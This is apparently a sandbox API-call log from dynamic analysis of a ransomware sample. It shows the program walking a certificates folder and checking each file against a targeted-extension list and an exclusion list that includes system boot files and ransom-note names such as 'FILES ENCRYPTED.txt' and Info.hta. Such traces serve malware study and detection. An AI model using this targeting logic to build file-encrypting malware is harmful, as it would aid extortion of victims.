	[0171.137] lstrlenW (lpString=".3ds") returned 4
	[0171.137] lstrcmpiW (lpString1=".3ds", lpString2=".cer") returned -1
	[0171.137] lstrlenW (lpString=".3fr") returned 4
	[0171.137] lstrcmpiW (lpString1=".3fr", lpString2=".cer") returned -1
	[0171.137] lstrlenW (lpString=".3g2") returned 4
	[0171.137] lstrcmpiW (lpString1=".3g2", lpString2=".cer") returned -1
	[0171.137] lstrlenW (lpString=".3gp") returned 4
	[0171.137] lstrcmpiW (lpString1=".3gp", lpString2=".cer") returned -1
	[0171.137] lstrlenW (lpString=".7z") returned 3
	[0171.137] lstrcmpiW (lpString1=".7z", lpString2="cer") returned -1
	[0171.138] lstrlenW (lpString=".accda") returned 6
	[0171.138] lstrcmpiW (lpString1=".accda", lpString2="CA.cer") returned -1
	[0171.138] lstrlenW (lpString=".accdb") returned 6
	[0171.138] lstrcmpiW (lpString1=".accdb", lpString2="CA.cer") returned -1
	[0171.138] lstrlenW (lpString=".accdc") returned 6
	[0171.138] lstrcmpiW (lpString1=".accdc", lpString2="CA.cer") returned -1
	[0171.138] lstrlenW (lpString=".accde") returned 6
	[0171.138] lstrcmpiW (lpString1=".accde", lpString2="CA.cer") returned -1
	[0171.138] lstrlenW (lpString=".accdt") returned 6
	[0171.138] lstrcmpiW (lpString1=".accdt", lpString2="CA.cer") returned -1
	[0171.138] lstrlenW (lpString=".accdw") returned 6
	[0171.138] lstrcmpiW (lpString1=".accdw", lpString2="CA.cer") returned -1
	[0171.138] lstrlenW (lpString=".adb") returned 4
	[0171.138] lstrcmpiW (lpString1=".adb", lpString2=".cer") returned -1
	[0171.138] lstrlenW (lpString=".adp") returned 4
	[0171.138] lstrcmpiW (lpString1=".adp", lpString2=".cer") returned -1
	[0171.138] lstrlenW (lpString=".ai") returned 3
	[0171.138] lstrcmpiW (lpString1=".ai", lpString2="cer") returned -1
	[0171.138] lstrlenW (lpString=".ai3") returned 4
	[0171.138] lstrcmpiW (lpString1=".ai3", lpString2=".cer") returned -1
	[0171.138] lstrlenW (lpString=".ai4") returned 4
	[0171.138] lstrcmpiW (lpString1=".ai4", lpString2=".cer") returned -1
	[0171.138] lstrlenW (lpString=".ai5") returned 4
	[0171.138] lstrcmpiW (lpString1=".ai5", lpString2=".cer") returned -1
	[0171.138] lstrlenW (lpString=".ai6") returned 4
	[0171.138] lstrcmpiW (lpString1=".ai6", lpString2=".cer") returned -1
	[0171.138] lstrlenW (lpString=".ai7") returned 4
	[0171.138] lstrcmpiW (lpString1=".ai7", lpString2=".cer") returned -1
	[0171.138] lstrlenW (lpString=".ai8") returned 4
	[0171.138] lstrcmpiW (lpString1=".ai8", lpString2=".cer") returned -1
	[0171.138] lstrlenW (lpString=".anim") returned 5
	[0171.138] lstrcmpiW (lpString1=".anim", lpString2="A.cer") returned -1
	[0171.138] lstrlenW (lpString=".arw") returned 4
	[0171.138] lstrcmpiW (lpString1=".arw", lpString2=".cer") returned -1
	[0171.138] lstrlenW (lpString=".as") returned 3
	[0171.139] lstrcmpiW (lpString1=".as", lpString2="cer") returned -1
	[0171.139] lstrlenW (lpString=".asa") returned 4
	[0171.139] lstrcmpiW (lpString1=".asa", lpString2=".cer") returned -1
	[0171.139] lstrlenW (lpString=".asc") returned 4
	[0171.139] lstrcmpiW (lpString1=".asc", lpString2=".cer") returned -1
	[0171.139] lstrlenW (lpString=".ascx") returned 5
	[0171.139] lstrcmpiW (lpString1=".ascx", lpString2="A.cer") returned -1
	[0171.139] lstrlenW (lpString=".asm") returned 4
	[0171.139] lstrcmpiW (lpString1=".asm", lpString2=".cer") returned -1
	[0171.139] lstrlenW (lpString=".asmx") returned 5
	[0171.139] lstrcmpiW (lpString1=".asmx", lpString2="A.cer") returned -1
	[0171.139] lstrlenW (lpString=".asp") returned 4
	[0171.139] lstrcmpiW (lpString1=".asp", lpString2=".cer") returned -1
	[0171.139] lstrlenW (lpString=".aspx") returned 5
	[0171.139] lstrcmpiW (lpString1=".aspx", lpString2="A.cer") returned -1
	[0171.139] lstrlenW (lpString=".asr") returned 4
	[0171.139] lstrcmpiW (lpString1=".asr", lpString2=".cer") returned -1
	[0171.139] lstrlenW (lpString=".asx") returned 4
	[0171.139] lstrcmpiW (lpString1=".asx", lpString2=".cer") returned -1
	[0171.139] lstrlenW (lpString=".avi") returned 4
	[0171.139] lstrcmpiW (lpString1=".avi", lpString2=".cer") returned -1
	[0171.139] lstrlenW (lpString=".avs") returned 4
	[0171.139] lstrcmpiW (lpString1=".avs", lpString2=".cer") returned -1
	[0171.139] lstrlenW (lpString=".backup") returned 7
	[0171.139] lstrcmpiW (lpString1=".backup", lpString2="_CA.cer") returned -1
	[0171.139] lstrlenW (lpString=".bak") returned 4
	[0171.139] lstrcmpiW (lpString1=".bak", lpString2=".cer") returned -1
	[0171.139] lstrlenW (lpString=".bay") returned 4
	[0171.139] lstrcmpiW (lpString1=".bay", lpString2=".cer") returned -1
	[0171.139] lstrlenW (lpString=".bd") returned 3
	[0171.139] lstrcmpiW (lpString1=".bd", lpString2="cer") returned -1
	[0171.139] lstrlenW (lpString=".bin") returned 4
	[0171.139] lstrcmpiW (lpString1=".bin", lpString2=".cer") returned -1
	[0171.139] lstrlenW (lpString=".bmp") returned 4
	[0171.140] lstrcmpiW (lpString1=".bmp", lpString2=".cer") returned -1
	[0171.140] lstrlenW (lpString=".bz2") returned 4
	[0171.140] lstrcmpiW (lpString1=".bz2", lpString2=".cer") returned -1
	[0171.140] lstrlenW (lpString=".c") returned 2
	[0171.140] lstrcmpiW (lpString1=".c", lpString2="er") returned -1
	[0171.140] lstrlenW (lpString=".cdr") returned 4
	[0171.140] lstrcmpiW (lpString1=".cdr", lpString2=".cer") returned -1
	[0171.140] lstrlenW (lpString=".cer") returned 4
	[0171.140] lstrcmpiW (lpString1=".cer", lpString2=".cer") returned 0
	[0171.140] lstrlenW (lpString="VeriSign_Class_3_Code_Signing_2001-4_CA.cer") returned 43
	[0171.140] lstrlenW (lpString=".Z9") returned 3
	[0171.140] lstrcmpiW (lpString1=".Z9", lpString2="cer") returned -1
	[0171.140] lstrlenW (lpString="VeriSign_Class_3_Code_Signing_2001-4_CA.cer") returned 43
	[0171.140] lstrcmpiW (lpString1="boot.ini", lpString2="VeriSign_Class_3_Code_Signing_2001-4_CA.cer") returned -1
	[0171.140] lstrcmpiW (lpString1="bootfont.bin", lpString2="VeriSign_Class_3_Code_Signing_2001-4_CA.cer") returned -1
	[0171.140] lstrcmpiW (lpString1="ntldr", lpString2="VeriSign_Class_3_Code_Signing_2001-4_CA.cer") returned -1
	[0171.140] lstrcmpiW (lpString1="ntdetect.com", lpString2="VeriSign_Class_3_Code_Signing_2001-4_CA.cer") returned -1
	[0171.140] lstrcmpiW (lpString1="io.sys", lpString2="VeriSign_Class_3_Code_Signing_2001-4_CA.cer") returned -1
	[0171.140] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="VeriSign_Class_3_Code_Signing_2001-4_CA.cer") returned -1
	[0171.140] lstrcmpiW (lpString1="Info.hta", lpString2="VeriSign_Class_3_Code_Signing_2001-4_CA.cer") returned -1
	[0171.140] lstrcmpiW (lpString1="dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe", lpString2="VeriSign_Class_3_Code_Signing_2001-4_CA.cer") returned -1
	[0171.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\Certificates\\Verisign\\Components\\VeriSign_Class_3_Code_Signing_2001-4_CA.cer") returned 131
	[0171.140] FindNextFileW (in: hFindFile=0x76f528, lpFindFileData=0x2fae918 | out: lpFindFileData=0x2fae918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1b0f9971, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1b0f9971, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1b0f9971, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x240, dwReserved0=0x0, dwReserved1=0x0, cFileName="VeriSign_Class_3_Public_Primary_CA.cer", cAlternateFileName="VERISI~1.CER")) returned 1
	[0171.140] lstrlenW (lpString="VeriSign_Class_3_Public_Primary_CA.cer") returned 38
	[0171.140] lstrlenW (lpString=".1cd") returned 4
	[0171.140] lstrcmpiW (lpString1=".1cd", lpString2=".cer") returned -1
	[0171.140] lstrlenW (lpString=".3ds") returned 4
	[0171.140] lstrcmpiW (lpString1=".3ds", lpString2=".cer") returned -1
	[0171.140] lstrlenW (lpString=".3fr") returned 4
	[0171.141] lstrcmpiW (lpString1=".3fr", lpString2=".cer") returned -1
	[0171.141] lstrlenW (lpString=".3g2") returned 4
	[0171.141] lstrcmpiW (lpString1=".3g2", lpString2=".cer") returned -1
	[0171.141] lstrlenW (lpString=".3gp") returned 4
	[0171.141] lstrcmpiW (lpString1=".3gp", lpString2=".cer") returned -1
	[0171.141] lstrlenW (lpString=".7z") returned 3
	[0171.141] lstrcmpiW (lpString1=".7z", lpString2="cer") returned -1
	[0171.141] lstrlenW (lpString=".accda") returned 6
	[0171.141] lstrcmpiW (lpString1=".accda", lpString2="CA.cer") returned -1
	[0171.141] lstrlenW (lpString=".accdb") returned 6
	[0171.141] lstrcmpiW (lpString1=".accdb", lpString2="CA.cer") returned -1
	[0171.141] lstrlenW (lpString=".accdc") returned 6
	[0171.141] lstrcmpiW (lpString1=".accdc", lpString2="CA.cer") returned -1
	[0171.141] lstrlenW (lpString=".accde") returned 6
	[0171.141] lstrcmpiW (lpString1=".accde", lpString2="CA.cer") returned -1
	[0171.141] lstrlenW (lpString=".accdt") returned 6
	[0171.141] lstrcmpiW (lpString1=".accdt", lpString2="CA.cer") returned -1
	[0171.141] lstrlenW (lpString=".accdw") returned 6
	[0171.141] lstrcmpiW (lpString1=".accdw", lpString2="CA.cer") returned -1
	[0171.141] lstrlenW (lpString=".adb") returned 4
	[0171.141] lstrcmpiW (lpString1=".adb", lpString2=".cer") returned -1
	[0171.141] lstrlenW (lpString=".adp") returned 4
	[0171.141] lstrcmpiW (lpString1=".adp", lpString2=".cer") returned -1
	[0171.141] lstrlenW (lpString=".ai") returned 3
	[0171.141] lstrcmpiW (lpString1=".ai", lpString2="cer") returned -1
	[0171.141] lstrlenW (lpString=".ai3") returned 4
	[0171.141] lstrcmpiW (lpString1=".ai3", lpString2=".cer") returned -1
	[0171.141] lstrlenW (lpString=".ai4") returned 4
	[0171.141] lstrcmpiW (lpString1=".ai4", lpString2=".cer") returned -1
	[0171.141] lstrlenW (lpString=".ai5") returned 4
	[0171.141] lstrcmpiW (lpString1=".ai5", lpString2=".cer") returned -1
	[0171.141] lstrlenW (lpString=".ai6") returned 4
	[0171.141] lstrcmpiW (lpString1=".ai6", lpString2=".cer") returned -1
	[0171.141] lstrlenW (lpString=".ai7") returned 4
	[0171.142] lstrcmpiW (lpString1=".ai7", lpString2=".cer") returned -1
	[0171.142] lstrlenW (lpString=".ai8") returned 4
	[0171.142] lstrcmpiW (lpString1=".ai8", lpString2=".cer") returned -1
	[0171.142] lstrlenW (lpString=".anim") returned 5
	[0171.142] lstrcmpiW (lpString1=".anim", lpString2="A.cer") returned -1
	[0171.142] lstrlenW (lpString=".arw") returned 4
	[0171.142] lstrcmpiW (lpString1=".arw", lpString2=".cer") returned -1
	[0171.142] lstrlenW (lpString=".as") returned 3
	[0171.142] lstrcmpiW (lpString1=".as", lpString2="cer") returned -1
	[0171.142] lstrlenW (lpString=".asa") returned 4
	[0171.142] lstrcmpiW (lpString1=".asa", lpString2=".cer") returned -1
	[0171.142] lstrlenW (lpString=".asc") returned 4
	[0171.142] lstrcmpiW (lpString1=".asc", lpString2=".cer") returned -1
	[0171.142] lstrlenW (lpString=".ascx") returned 5
	[0171.142] lstrcmpiW (lpString1=".ascx", lpString2="A.cer") returned -1
	[0171.142] lstrlenW (lpString=".asm") returned 4
	[0171.142] lstrcmpiW (lpString1=".asm", lpString2=".cer") returned -1
	[0171.142] lstrlenW (lpString=".asmx") returned 5
	[0171.142] lstrcmpiW (lpString1=".asmx", lpString2="A.cer") returned -1
	[0171.142] lstrlenW (lpString=".asp") returned 4
	[0171.142] lstrcmpiW (lpString1=".asp", lpString2=".cer") returned -1
	[0171.142] lstrlenW (lpString=".aspx") returned 5
	[0171.142] lstrcmpiW (lpString1=".aspx", lpString2="A.cer") returned -1
	[0171.142] lstrlenW (lpString=".asr") returned 4
	[0171.142] lstrcmpiW (lpString1=".asr", lpString2=".cer") returned -1
	[0171.142] lstrlenW (lpString=".asx") returned 4
	[0171.142] lstrcmpiW (lpString1=".asx", lpString2=".cer") returned -1
	[0171.142] lstrlenW (lpString=".avi") returned 4
	[0171.142] lstrcmpiW (lpString1=".avi", lpString2=".cer") returned -1
	[0171.142] lstrlenW (lpString=".avs") returned 4
	[0171.142] lstrcmpiW (lpString1=".avs", lpString2=".cer") returned -1
	[0171.142] lstrlenW (lpString=".backup") returned 7
	[0171.142] lstrcmpiW (lpString1=".backup", lpString2="_CA.cer") returned -1
	[0171.142] lstrlenW (lpString=".bak") returned 4
	[0171.142] lstrcmpiW (lpString1=".bak", lpString2=".cer") returned -1
	[0171.143] lstrlenW (lpString=".bay") returned 4
	[0171.143] lstrcmpiW (lpString1=".bay", lpString2=".cer") returned -1
	[0171.143] lstrlenW (lpString=".bd") returned 3
	[0171.143] lstrcmpiW (lpString1=".bd", lpString2="cer") returned -1
	[0171.143] lstrlenW (lpString=".bin") returned 4
	[0171.143] lstrcmpiW (lpString1=".bin", lpString2=".cer") returned -1
	[0171.143] lstrlenW (lpString=".bmp") returned 4
	[0171.143] lstrcmpiW (lpString1=".bmp", lpString2=".cer") returned -1
	[0171.143] lstrlenW (lpString=".bz2") returned 4
	[0171.143] lstrcmpiW (lpString1=".bz2", lpString2=".cer") returned -1
	[0171.143] lstrlenW (lpString=".c") returned 2
	[0171.143] lstrcmpiW (lpString1=".c", lpString2="er") returned -1
	[0171.143] lstrlenW (lpString=".cdr") returned 4
	[0171.143] lstrcmpiW (lpString1=".cdr", lpString2=".cer") returned -1
	[0171.143] lstrlenW (lpString=".cer") returned 4
	[0171.143] lstrcmpiW (lpString1=".cer", lpString2=".cer") returned 0
	[0171.143] lstrlenW (lpString="VeriSign_Class_3_Public_Primary_CA.cer") returned 38
	[0171.143] lstrlenW (lpString=".Z9") returned 3
	[0171.143] lstrcmpiW (lpString1=".Z9", lpString2="cer") returned -1
	[0171.143] lstrlenW (lpString="VeriSign_Class_3_Public_Primary_CA.cer") returned 38
	[0171.143] lstrcmpiW (lpString1="boot.ini", lpString2="VeriSign_Class_3_Public_Primary_CA.cer") returned -1
	[0171.143] lstrcmpiW (lpString1="bootfont.bin", lpString2="VeriSign_Class_3_Public_Primary_CA.cer") returned -1
	[0171.143] lstrcmpiW (lpString1="ntldr", lpString2="VeriSign_Class_3_Public_Primary_CA.cer") returned -1
	[0171.143] lstrcmpiW (lpString1="ntdetect.com", lpString2="VeriSign_Class_3_Public_Primary_CA.cer") returned -1
	[0171.143] lstrcmpiW (lpString1="io.sys", lpString2="VeriSign_Class_3_Public_Primary_CA.cer") returned -1
	[0171.143] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="VeriSign_Class_3_Public_Primary_CA.cer") returned -1
	[0171.143] lstrcmpiW (lpString1="Info.hta", lpString2="VeriSign_Class_3_Public_Primary_CA.cer") returned -1
	[0171.143] lstrcmpiW (lpString1="dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe", lpString2="VeriSign_Class_3_Public_Primary_CA.cer") returned -1
	[0171.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\Certificates\\Verisign\\Components\\VeriSign_Class_3_Public_Primary_CA.cer") returned 126
	[0171.143] FindNextFileW (in: hFindFile=0x76f528, lpFindFileData=0x2fae918 | out: lpFindFileData=0x2fae918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1865b8d4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1865b8d4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x18ad3e4a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x38b, dwReserved0=0x0, dwReserved1=0x0, cFileName="VS_ComponentSigningIntermediate.cer", cAlternateFileName="VS_COM~1.CER")) returned 1
	[0171.143] lstrlenW (lpString="VS_ComponentSigningIntermediate.cer") returned 35
	[0171.144] lstrlenW (lpString=".1cd") returned 4
	[0171.144] lstrcmpiW (lpString1=".1cd", lpString2=".cer") returned -1
	[0171.144] lstrlenW (lpString=".3ds") returned 4
	[0171.144] lstrcmpiW (lpString1=".3ds", lpString2=".cer") returned -1
	[0171.144] lstrlenW (lpString=".3fr") returned 4
	[0171.144] lstrcmpiW (lpString1=".3fr", lpString2=".cer") returned -1
	[0171.144] lstrlenW (lpString=".3g2") returned 4
	[0171.144] lstrcmpiW (lpString1=".3g2", lpString2=".cer") returned -1
	[0171.144] lstrlenW (lpString=".3gp") returned 4
	[0171.144] lstrcmpiW (lpString1=".3gp", lpString2=".cer") returned -1
	[0171.144] lstrlenW (lpString=".7z") returned 3
	[0171.144] lstrcmpiW (lpString1=".7z", lpString2="cer") returned -1
	[0171.144] lstrlenW (lpString=".accda") returned 6
	[0171.144] lstrcmpiW (lpString1=".accda", lpString2="te.cer") returned -1
	[0171.144] lstrlenW (lpString=".accdb") returned 6
	[0171.144] lstrcmpiW (lpString1=".accdb", lpString2="te.cer") returned -1
	[0171.144] lstrlenW (lpString=".accdc") returned 6
	[0171.144] lstrcmpiW (lpString1=".accdc", lpString2="te.cer") returned -1
	[0171.144] lstrlenW (lpString=".accde") returned 6
	[0171.144] lstrcmpiW (lpString1=".accde", lpString2="te.cer") returned -1
	[0171.144] lstrlenW (lpString=".accdt") returned 6
	[0171.144] lstrcmpiW (lpString1=".accdt", lpString2="te.cer") returned -1
	[0171.144] lstrlenW (lpString=".accdw") returned 6
	[0171.144] lstrcmpiW (lpString1=".accdw", lpString2="te.cer") returned -1
	[0171.144] lstrlenW (lpString=".adb") returned 4
	[0171.144] lstrcmpiW (lpString1=".adb", lpString2=".cer") returned -1
	[0171.144] lstrlenW (lpString=".adp") returned 4
	[0171.144] lstrcmpiW (lpString1=".adp", lpString2=".cer") returned -1
	[0171.144] lstrlenW (lpString=".ai") returned 3
	[0171.144] lstrcmpiW (lpString1=".ai", lpString2="cer") returned -1
	[0171.144] lstrlenW (lpString=".ai3") returned 4
	[0171.145] lstrcmpiW (lpString1=".ai3", lpString2=".cer") returned -1
	[0171.145] lstrlenW (lpString=".ai4") returned 4
	[0171.145] lstrcmpiW (lpString1=".ai4", lpString2=".cer") returned -1
	[0171.145] lstrlenW (lpString=".ai5") returned 4
	[0171.145] lstrcmpiW (lpString1=".ai5", lpString2=".cer") returned -1
	[0171.145] lstrlenW (lpString=".ai6") returned 4
	[0171.145] lstrcmpiW (lpString1=".ai6", lpString2=".cer") returned -1
	[0171.145] lstrlenW (lpString=".ai7") returned 4
	[0171.145] lstrcmpiW (lpString1=".ai7", lpString2=".cer") returned -1
	[0171.145] lstrlenW (lpString=".ai8") returned 4
	[0171.145] lstrcmpiW (lpString1=".ai8", lpString2=".cer") returned -1
	[0171.145] lstrlenW (lpString=".anim") returned 5
	[0171.145] lstrcmpiW (lpString1=".anim", lpString2="e.cer") returned -1
	[0171.145] lstrlenW (lpString=".arw") returned 4
	[0171.145] lstrcmpiW (lpString1=".arw", lpString2=".cer") returned -1
	[0171.145] lstrlenW (lpString=".as") returned 3
	[0171.145] lstrcmpiW (lpString1=".as", lpString2="cer") returned -1
	[0171.145] lstrlenW (lpString=".asa") returned 4
	[0171.145] lstrcmpiW (lpString1=".asa", lpString2=".cer") returned -1
	[0171.145] lstrlenW (lpString=".asc") returned 4
	[0171.145] lstrcmpiW (lpString1=".asc", lpString2=".cer") returned -1
	[0171.145] lstrlenW (lpString=".ascx") returned 5
	[0171.145] lstrcmpiW (lpString1=".ascx", lpString2="e.cer") returned -1
	[0171.145] lstrlenW (lpString=".asm") returned 4
	[0171.145] lstrcmpiW (lpString1=".asm", lpString2=".cer") returned -1
	[0171.145] lstrlenW (lpString=".asmx") returned 5
	[0171.145] lstrcmpiW (lpString1=".asmx", lpString2="e.cer") returned -1
	[0171.145] lstrlenW (lpString=".asp") returned 4
	[0171.145] lstrcmpiW (lpString1=".asp", lpString2=".cer") returned -1
	[0171.145] lstrlenW (lpString=".aspx") returned 5
	[0171.145] lstrcmpiW (lpString1=".aspx", lpString2="e.cer") returned -1
	[0171.145] lstrlenW (lpString=".asr") returned 4
	[0171.145] lstrcmpiW (lpString1=".asr", lpString2=".cer") returned -1
	[0171.145] lstrlenW (lpString=".asx") returned 4
	[0171.146] lstrcmpiW (lpString1=".asx", lpString2=".cer") returned -1
	[0171.146] lstrlenW (lpString=".avi") returned 4
	[0171.146] lstrcmpiW (lpString1=".avi", lpString2=".cer") returned -1
	[0171.146] lstrlenW (lpString=".avs") returned 4
	[0171.146] lstrcmpiW (lpString1=".avs", lpString2=".cer") returned -1
	[0171.146] lstrlenW (lpString=".backup") returned 7
	[0171.146] lstrcmpiW (lpString1=".backup", lpString2="ate.cer") returned -1
	[0171.146] lstrlenW (lpString=".bak") returned 4
	[0171.146] lstrcmpiW (lpString1=".bak", lpString2=".cer") returned -1
	[0171.146] lstrlenW (lpString=".bay") returned 4
	[0171.146] lstrcmpiW (lpString1=".bay", lpString2=".cer") returned -1
	[0171.146] lstrlenW (lpString=".bd") returned 3
	[0171.146] lstrcmpiW (lpString1=".bd", lpString2="cer") returned -1
	[0171.147] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0171.147] FindNextFileW (in: hFindFile=0x76efe8, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1865b8d4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1b0f9971, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1b0f9971, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Components", cAlternateFileName="COMPON~1")) returned 0
	[0171.147] FindClose (in: hFindFile=0x76efe8 | out: hFindFile=0x76efe8) returned 1
	[0171.147] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4004f78 | out: hHeap=0x710000) returned 1
	[0171.147] FindNextFileW (in: hFindFile=0x76f4e8, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x186355ca, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1865b8d4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1865b8d4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Verisign", cAlternateFileName="")) returned 0
	[0171.147] FindClose (in: hFindFile=0x76f4e8 | out: hFindFile=0x76f4e8) returned 1
	[0171.147] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4161fa8 | out: hHeap=0x710000) returned 1
	[0171.147] FindNextFileW (in: hFindFile=0x76f268, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18681a5c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x18ad3e4a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x18ad3e4a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Sounds", cAlternateFileName="")) returned 1
	[0171.149] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4004f78 | out: hHeap=0x710000) returned 1
	[0171.149] FindNextFileW (in: hFindFile=0x76f3a8, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18ad3e4a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1907d846, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1907d846, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Places", cAlternateFileName="")) returned 1
	[0171.151] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4004f78 | out: hHeap=0x710000) returned 1
	[0171.151] FindNextFileW (in: hFindFile=0x76f3a8, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18ad3e4a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1bc991c1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1bc991c1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Things", cAlternateFileName="")) returned 1
	[0171.152] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4004f78 | out: hHeap=0x710000) returned 1
	[0171.152] FindNextFileW (in: hFindFile=0x76f3a8, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18ad3e4a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1bc991c1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1bc991c1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Things", cAlternateFileName="")) returned 0
	[0171.152] FindClose (in: hFindFile=0x76f3a8 | out: hFindFile=0x76f3a8) returned 1
	[0171.152] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4161fa8 | out: hHeap=0x710000) returned 1
	[0171.152] FindNextFileW (in: hFindFile=0x76f268, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1907d846, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1b6c9560, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1b6c9560, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ToolBMPs", cAlternateFileName="")) returned 1
	[0171.154] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4161fa8 | out: hHeap=0x710000) returned 1
	[0171.154] FindNextFileW (in: hFindFile=0x76f268, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x197a4903, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x197a4903, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x197a4903, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ToolData", cAlternateFileName="")) returned 1
	[0171.156] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0171.156] FindNextFileW (in: hFindFile=0x76f4e8, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1983d259, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x198634b7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x198634b7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Computers", cAlternateFileName="COMPUT~1")) returned 1
	[0171.157] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0171.157] FindNextFileW (in: hFindFile=0x76f4e8, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1983d259, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x198634b7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x198634b7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Computers", cAlternateFileName="COMPUT~1")) returned 0
	[0171.157] FindClose (in: hFindFile=0x76f4e8 | out: hFindFile=0x76f4e8) returned 1
